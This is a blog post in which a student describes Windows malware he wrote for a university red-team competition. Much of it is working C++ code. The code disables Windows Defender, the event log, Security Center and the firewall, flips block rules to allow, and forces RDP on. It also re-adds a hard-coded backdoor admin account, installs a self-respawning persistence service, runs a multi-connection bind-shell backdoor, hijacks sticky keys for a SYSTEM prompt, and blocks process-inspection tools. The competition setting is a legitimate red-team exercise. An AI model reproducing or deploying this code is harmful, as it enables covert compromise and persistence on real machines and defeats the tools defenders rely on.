Writing Me Some Windows Malware
Category: Old Posts
This year I had the pleasure of being part of the red and white teams for the first RIT Competitive Cybersecurity Club (RC3) Hacking Competition. The competition was set up similar to ISTS or CCDC with blue teams defending, a white team that sets up, and a red team that tries to hack the blue teams. This was my first actual red team experience in a competition scenario. I was tasked to take on Windows with the other Windows guy on the CCDC team. So naturally I spent the week writing some intense malware to challenge the blue teams. This post explains a bit of what I did and some of the clever tricks I used to keep myself hidden. This malware was designed to run on Windows Vista and up and was written in C++ totalling about 2400 lines. All written in Visual Studio 2013. It was nice to get back to C++ and the Windows API as I haven't done much C or C++ since Client Server Programming with Kennedy in the Spring. It was a bit frustrating at times, especially because I didn't understand unicode compatibility until about halfway through writing this (THREE HOURS to prepend and append a quote at either end of a string...).
Malware Functions (tl;dr, implementations below!):
- Shut security center off
- Shut event log off
- Shut Windows Defender off
- Shut off firewall
- Turn it off
- Set the default policy to allowinbound,allowoutbound
- Take an existing rule from both the in and out chains, take their names and descriptions, delete the originals, and re-add them as allow all rules
- Take any existing block rules and make them allow rules
- Turn on RDP constantly
- Add and re-add a user called limecat as admin
- Create a service that spawns the malware on boot and re-spawns it if it is killed
- If the service is killed/disabled/uninstalled then the main program spawns it back
- Multi-threaded, multi-connection backdoor command shell
- Sticky keys command prompt
- Prevented the user from launching procexp.exe and ProcessHacker.exe
More info and code after the jump.
Shutting of Security Center, Event Log, and Windows Defender
Obviously I don't want Security Center yelling at the user when the firewall gets shut off so I thought why not just shut it off real quick! Amongst the chaos of the competition beginning I figured nobody would even notice the popup for it turning off. I didn't want anyone telling what I was modifying so I shut event log off. I also took care of Windows Defender as good measure. It just so happens that the MSDN has some sample code for controlling services, so I took advantage of that and made the Service class that allowed me to interact with existing services as well as make new ones with a constructor. Each Service object represented one service on the machine and could be acted upon in various ways. Below is a code sample of me turning those services off.
//Initialize Service object and shut off Windows Defender
Service WinDefender(L"WinDefender");
if (WinDefender.getSvcRunning()){
if (!WinDefender.DoStopSvc()){
cout << "Service stop failed" << endl;
}
if (!WinDefender.DoDisableSvc()){
cout << "Service disable failed" << endl;
}
}
//Initialize Service object and shut off Event Log
Service eventlog(L"eventlog");
if (eventlog.getSvcRunning()){
if (!eventlog.DoStopSvc()){
cout << "Service stop failed" << endl;
}
if (!eventlog.DoDisableSvc()){
cout << "Service disable failed" << endl;
}
}
//Initialize Service object and shut off Security Center
Service wscsvc(L"wscsvc");
if (wscsvc.getSvcRunning()){
if (!wscsvc.DoStopSvc()){
cout << "Service stop failed" << endl;
}
if (!wscsvc.DoDisableSvc()){
cout << "Service disable failed" << endl;
}
}
More info: http://msdn.microsoft.com/en-us/library/windows/desktop/bb540476(v=vs.85).aspx
Shutting Off The Firewall
This was the original intent of this project: to mess up the firewall so bad that it would never be safe to use. Again, I took code from the MSDN site and built it into the Firewall class. Initializing a Firewall object would open the firewall for reading and editing via the COM. I could then act upon it as an object. I started my malicious intentions by obviously turning it off. I spawn off a thread in main to check if the firewall has been enabled and if it has then turn it back off, of course. Inconvenient. Additionally I set the default firewall policy to allow all incoming and outgoing traffic, so even if they do manage to get rid of my malware and turn their firewall back on I should still be able to get access. These first two actions usually raise red flags in Security Center, but that's off so nothing to worry about. To kill it even further I steal two rules, one from the in, and one from the out chains, take their names and descriptions, delete them, and replace them with allow all rules with the same name and description. The one flaw I saw in all of this is a user adding block rules; I fix this by changing all of the block rules to allow rules! Needless to say the teams that had this were in for a bad time. Code below:
Replacing a rule
//Replace the rule with an allow all rule with the same name, description, and direction as the input rule
void Firewall::replaceRule(INetFwRule* repRule){
BSTR ruleName = NULL;
INetFwRule* pNewRule = NULL;
long profileBitmask = 0;
NET_FW_RULE_DIRECTION ruleDir;
BSTR ruleDesc = NULL;
if (repRule != NULL){
//get name, description, and direction, then delete the original
handleStatus = repRule->get_Direction(&ruleDir);
handleStatus = repRule->get_Name(&ruleName);
handleStatus = repRule->get_Description(&ruleDesc);
ruleSet->Remove(ruleName);
}else{
//Default if there are no rules
ruleName = SysAllocString(L"Windows RPC Helper");
ruleName = SysAllocString(L"Allows the Windows Remote Procedure Call Helper through the firewall.");
}
//Specify all profiles
firewallPolicy->get_CurrentProfileTypes(&profileBitmask);
//Make a new rule
handleStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pNewRule);
//Set rule properties and add the rule
pNewRule->put_Action(NET_FW_ACTION_ALLOW);
pNewRule->put_Direction(ruleDir);
pNewRule->put_Enabled(VARIANT_TRUE);
pNewRule->put_Name(ruleName);
pNewRule->put_Description(ruleDesc);
pNewRule->put_Profiles(profileBitmask);
ruleSet->Add(pNewRule);
//Cleanup
SysFreeString(ruleName);
SysFreeString(ruleDesc);
pNewRule->Release();
}
Changing all block rules to allow rule
void Firewall::blockToAllow(){
NET_FW_ACTION ruleAction;
//Loop through all in rules and change the block ones to allow
for (vector<INetFwRule*>::iterator rule = inRules.begin(); rule != inRules.end(); rule++){
(*rule)->get_Action(&ruleAction);
if (ruleAction == NET_FW_ACTION_BLOCK){
(*rule)->put_Action(NET_FW_ACTION_ALLOW);
}
}
//Loop through all out rules and change the block ones to allow
for (vector<INetFwRule*>::iterator rule = outRules.begin(); rule != outRules.end(); rule++){
(*rule)->get_Action(&ruleAction);
if (ruleAction == NET_FW_ACTION_BLOCK){
(*rule)->put_Action(NET_FW_ACTION_ALLOW);
}
}
}
Turning the firewall off
void Firewall::firewallOff(){
//Disable firewall for all profiles
handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PUBLIC, FALSE);
handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_DOMAIN, FALSE);
handleStatus = firewallPolicy->put_FirewallEnabled(NET_FW_PROFILE2_PRIVATE, FALSE);
}
</pre>
And my favorite:
<pre class="lang:cpp start-line:80 decode:1 nums:true" >
void Firewall::ownFirewall(){
firewallOff();
setDefaultAllowPolicy();
replaceRule(get_randomRule("in"));
replaceRule(get_randomRule("out"));
blockToAllow();
}
This firewall is mine!
Implementing the nightmare in main:
//initialize firewall object and rules
Firewall netshFirewall;
if (SUCCEEDED(netshFirewall.get_handleStatus()))
netshFirewall.populate_ruleSet();
//This firewall is mine.
if (SUCCEEDED(netshFirewall.get_handleStatus())){
netshFirewall.ownFirewall();
More info: http://msdn.microsoft.com/en-us/library/windows/desktop/ff956128(v=vs.85).aspx
Turning RDP On Constantly
Why use the shell if you can just remote in via the Remote Desktop Protocol (RDP) and own the box with a full admin account? That was the purpose of this part of the malware. It was also to infuriate the victim. This is as simple as spawning a thread to check if the registry key "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" has a value "fDenyTSConnections" set to 0. If not, set it to 0, enabling RDP, then check again in four seconds. Interacting with the registry via Windows API is pretty sketchy:
HKEY rdpKey;
DWORD rdpVal[MAX_PATH];
DWORD lpd = MAX_PATH;
DWORD dwType = REG_DWORD;
//enable RDP forever
while (1){
DWORD newVal = 0;
//open the key
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server", 0, KEY_ALL_ACCESS, &rdpKey) != ERROR_SUCCESS)
cout << "Could not open RDP registry key\\n";
else{
//query the value in fDenyTSConnections
if (RegQueryValueEx(rdpKey, L"fDenyTSConnections", NULL, &dwType, (LPBYTE)rdpVal, &lpd) != ERROR_SUCCESS){
if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
cout << "Failed to set RDP key" << endl;
}
}
else{
if (rdpVal[0] != (char)0){
//set it back to 0!
if (RegSetValueEx(rdpKey, L"fDenyTSConnections", NULL, REG_DWORD, (const BYTE*)&newVal, sizeof(DWORD)) != ERROR_SUCCESS){
cout << "Failed to set RDP key" << endl;
}
}
}
}
RegCloseKey(rdpKey);
Sleep(4000);
if (is_ending)
break;
}
More info: http://msdn.microsoft.com/en-us/library/ms724256%28VS.85%29.aspx
User Adding and Re-Adding
This one was a must, we always need a user to get in with in case we get locked out. This was fun because it kept coming back. Yet another thread checking for the existence of the user "limecat" and adding it if it didn't exist every thirty seconds or so. Basically the code below shows the re-adding part, the checking was a whole other story that I'm keeping to myself.
USER_INFO_1 user_info;
LPWSTR lpszPrimaryDC = NULL;
NET_API_STATUS err = 0;
DWORD parm_err = 0;
//set new user attributes
LPWSTR lpUser = L"limecat";
LPWSTR lpPass = L"lolcat1!";
user_info.usri1_name = lpUser;
user_info.usri1_password = lpPass;
user_info.usri1_priv = USER_PRIV_USER;
user_info.usri1_home_dir = TEXT("");
user_info.usri1_comment = TEXT("");
user_info.usri1_flags = UF_SCRIPT \| UF_PASSWD_CANT_CHANGE \| UF_PASSWD_NOTREQD;
user_info.usri1_script_path = TEXT("");
//add the user if they don't exist
if (!userExists){
err = NetUserAdd(lpszPrimaryDC, // PDC name
1, // level
(LPBYTE)&user_info, // input buffer
&parm_err); // parameter in error
switch (err)
{
case 0:
printf("User successfully created.\\n");
break;
case NERR_UserExists:
printf("User already exists.\\n");
err = 0;
break;
case ERROR_INVALID_PARAMETER:
printf("Invalid parameter error adding user; parameter index = %d\\n", parm_err);
NetApiBufferFree(lpszPrimaryDC);
break;
default:
printf("Error adding user: %d\\n", err);
NetApiBufferFree(lpszPrimaryDC);
}
}
The MSDN has a ton of functions pertaining to users/accounts/groups/permissions/etc. here: http://msdn.microsoft.com/en-us/library/aa370649%28VS.85%29.aspx
Creating a Malicious Service
This was my favorite part. Even if I named my process something convincing like lsass or wininit I still would be SOL if the victim found and killed the process. So I made a service that spawned another instance when the currently running one died. This also allowed for persistence across reboots as the service was set to automatic start. This was nice because I did not have to use the classic persistence run key at "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" that everyone looks in and autoruns finds. In this case everything my malware put in registry was not detected by autoruns. Here I use the other constructor to the Service class in order to create and install the new service: (a bit messy, but it works)
//create the service and start it
Service malSvc(L"malSvc", L"C:\\\\path\\\\to\\\\service", SERVICE_AUTO_START, SERVICE_WIN32_OWN_PROCESS, L"Malicious Service");
if (!malSvc.initFail){ //if it fails then it probably already exists
malSvc.DoStartSvc();
malSvc.setAutoStart();
}else{
//load up the already existing service and enable/start it, plus set auto start
Service existingMalSvc(L"malSvc");
if (!existingMalSvc.getSvcEnabled()){
existingMalSvc.DoEnableSvc();
existingMalSvc.DoStartSvc();
existingMalSvc.setAutoStart();
}else if (!existingMalSvc.getSvcRunning()){
existingMalSvc.DoStartSvc();
existingMalSvc.setAutoStart();
}
}
The service is awesome because it allowed me to orphan processes in Windows, which it turns out is really hard/impossible otherwise. Services are the children of services.exe. We can use this to our advantage. Here is how my malware works when threatened:
Kill main malware -> service re-spawns it (as child) -> malware stops service, orphaning itself -> malware starts service, maintaining persistence
I think this is pretty clever!
It also works the other way too but this time with less effort, as the main malware has a thread checking if the service is running, if not then it restarts the service. I was able to get this combo to the point where even pskill-ing both of the processes at the same time would not work at stopping them. Scary stuff.
Coding a basic Windows service: http://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
Backdoor Command Prompt
This was my favorite part to program. I took a single-threaded, single-connection Windows backdoor command prompt with global variables and made it into a non-blocking, multi-threaded, multi-connection backdoor. The original code can be found here. One of the problems I ran into was that sockets are, by default, blocking. This means that the accept function would hang until a connection was received. Not very friendly to a nice shutdown while testing, so for my own interest I looked into ways to get around this. I came across two methods, one was change the socket into a non blocking socket and constantly check it, and the other was using the select function. The former option would take up a lot more of the CPU than the latter so that is the one I went with. Basically what select does is it takes the listening socket as an argument and if anything is received it returns 1, if nothing is received after a timeout value then it returns 0 (on error -1). This is useful so when there is a connection we can pass the connection to the accept function and spawn a connection thread and if there is no activity we can do something else (like check if the program is exiting). Check it out:
DWORD WINAPI backdoor() //the main function
{
//signal handling
signal(SIGINT, sigHandler);
signal(SIGTERM, sigHandler);
signal(SIGABRT, sigHandler);
//select function timeout values
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
fd_set master; // master file descriptor list
fd_set read_fds; // temp file descriptor list for select()
int fdmax; // maximum file descriptor number
FD_ZERO(&master); // clear the master and temp sets
FD_ZERO(&read_fds);
int rc = 1;
int port = 1337; //port is going to keep the portnumber
SOCKET locsock, remsock; //the sockets we are going to need
SOCKADDR_IN sinloc; //the structures needed for our sockets
WSADATA wsadata; //wsadata
//set listen port
port = 1337;
//tell windows we want to use sockets
WSAStartup(MAKEWORD(1,1), &wsadata);
//create socket
locsock = socket(AF_INET, SOCK_STREAM, 0);
//fill structure
sinloc.sin_family = AF_INET;
sinloc.sin_addr.s_addr = INADDR_ANY;
sinloc.sin_port = htons(port);
while (1){
//bind the socket to the specified port
SOCKET tempsock = locsock;
if (bind(locsock, (SOCKADDR*)&sinloc, sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
{
printf("bind error");
ExitThread(0);
}
//listen on the specified socket
if (listen(locsock, 10) == SOCKET_ERROR)
{
WSACleanup();
printf("Error listening socket.");
break;
}
// add the listener to the master set
FD_SET(locsock, &master);
// keep track of the biggest file descriptor
fdmax = locsock; //so far, it's this one
//infinite loop here to keep the program listening
while (1)
{
remsock = SOCKET_ERROR;
while (remsock == SOCKET_ERROR)
{
read_fds = master; // copy master set
rc = select(fdmax + 1, &read_fds, NULL, NULL, &tv); //here we use select to not hold up the program while waiting for connections
if (rc == -1) {
perror("select");
break;
}
else if (rc > 0){
//accept connection to our program
remsock = accept(locsock, NULL, NULL);
if (remsock == INVALID_SOCKET)
{
//cleanup and exit program
WSACleanup();
printf("Error accepting socket.");
break;
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CommandPrompt, (void *)&remsock, 0, NULL); //start connection handling thread
Sleep(200);
}
if (is_ending){
closesocket(remsock);
ExitThread(0);
}
}
}
}
ExitThread(0);
}
If you want the full code (modified slightly from this) and the handler thread then just ask!
Sticky Keys Prompt and Preventing Users from Opening Certain Processes
This was an idea from Mubix's malware and it's pretty clever. Constantly enabling RDP and having the sticky keys command prompt is a deadly combo, as you can call up a command prompt with NT AUTHORITY/SYSTEM privileges from the login screen and do whatever you want (create users, shut things down, change passwords, etc.) This was relatively easy as I just had to edit a registry key. Again, sketchy code:
HKEY sethcKey;
DWORD lpd = MAX_PATH;
DWORD szType = REG_SZ;
//Sticky keys prompt
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\sethc.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &sethcKey, NULL != ERROR_SUCCESS)){
cout << "Sethc Key not created successfully\\n";
}else{
if (RegSetValueEx(sethcKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\""), lpd) != ERROR_SUCCESS){
cout << "Failed to set sethc key" << endl;
}
}
RegCloseKey(sethcKey);
</pre>
So there's that.
This can also be used to block programs from starting by name. The examples I use are Process Explorer and Process Hacker. Here's one:
<pre class="lang:cpp startline:463 decode:1 nums:true" >
//Stop process explorer
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\procexp.exe", NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &procKey, NULL != ERROR_SUCCESS)){
cout << "procexp key not created successfully\\n";
}
else{
if (RegSetValueEx(procKey, L"Debugger", NULL, REG_SZ, (const BYTE*)_T("\\"C:\\\\Windows\\\\system32\\\\rundll32.exe\\""), lpd) != ERROR_SUCCESS){
cout << "Failed to set procexp key" << endl;
}
}
RegCloseKey(procKey);
This will open rundll32.exe when the victim tries to open procexp.exe, the standard name for Process Explorer in the Sysinternals Suite. With no arguments rundll32.exe does nothing, and that's what we want. The quick fix to this is to rename the executable, but who would really think to do that?
I spent a lot of time on this. I hope you enjoyed reading about it and my solutions to problems I was having. For obvious reasons I am not going to release the full source code, but feel free to ask me for a copy of this malware if you are red teaming and want something advance AND persistent!